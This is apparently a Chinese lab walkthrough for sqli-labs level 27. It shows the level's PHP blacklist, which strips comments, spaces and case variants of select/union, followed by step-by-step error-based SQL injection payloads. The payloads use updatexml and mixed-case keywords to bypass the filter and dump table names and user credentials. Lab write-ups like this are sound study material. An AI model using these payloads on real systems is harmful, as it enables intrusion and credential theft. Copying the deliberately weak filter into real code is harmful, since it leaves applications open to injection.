5.27.第27关 get报错注入过滤select和union '闭合

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

5.27.1手动注入

（1）判断注入类型、注入点

?id=1'      报错，判断为字符型注入，'闭合
?id=1'or'0  返回id=1数据
?id=2'or'0  返回id=2数据，确定为'闭合

（2）查询数据库名

?id=1'or(updatexml(1,concat(0x7e,(database())),1))or'0

（3）查询表名

?id=1'or(updatexml(1,concat(0x7e,(selECt(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

（4）查询字段名

?id=1'or(updatexml(1,concat(0x7e,(selECt(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users'))),1))or'0

（5）查询账号密码

?id=1'or(updatexml(1,concat(0x7e,(selECt(substring(group_concat(id,0x7e,username,0x3a,password),1,32))from(users))),1))or'0
?id=1'or(updatexml(1,concat(0x7e,(selECt(substring(group_concat(id,0x7e,username,0x3a,password),32,32))from(users))),1))or'0
?id=1'or(updatexml(1,concat(0x7e,(selECt(substring(group_concat(id,0x7e,username,0x3a,password),63,32))from(users))),1))or'0